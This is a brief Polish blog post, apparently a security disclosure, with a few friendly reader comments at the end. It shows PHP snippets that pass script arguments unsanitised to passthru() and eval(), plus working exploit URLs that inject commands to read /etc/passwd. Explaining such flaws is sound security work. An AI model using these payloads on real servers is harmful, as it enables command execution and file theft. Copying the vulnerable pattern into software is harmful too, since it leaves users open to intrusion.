[17-03-2009]
W Google Code Search można znaleźć sporo aplikacji i bibliotek PHP zawierających kod podobny do poniższych przykładów:
http://lukasz.pilorz.net/testy/argv/passthru.phps
<?php
passthru('echo '.$_SERVER['argv'][1]);
?>
http://lukasz.pilorz.net/testy/argv/eval.phps
<?php
eval('echo "'.$_SERVER['argv'][1].'";');
?>
Jeśli włączona jest dyrektywa register_argc_argv, a skrypt znajduje się w DocumentRoot, można go wykorzystać na przykład tak:
http://lukasz.pilorz.net/testy/argv/passthru.php?+|{cat,/etc/passwd}
http://lukasz.pilorz.net/testy/argv/eval.php?x={cat,/etc/passwd}&+{${passthru($_GET[x])}}
Już myślałem, że przestałeś pisać. Wracasz?
Witaj wśród żywych :-) tęskniliśmy ;-)
B.
Czasem coś skrobnę ;)
Mam nadzieję, że wystarczająco często, żebym znowu nie zapomniał, że mam cię w RSS-ach. :)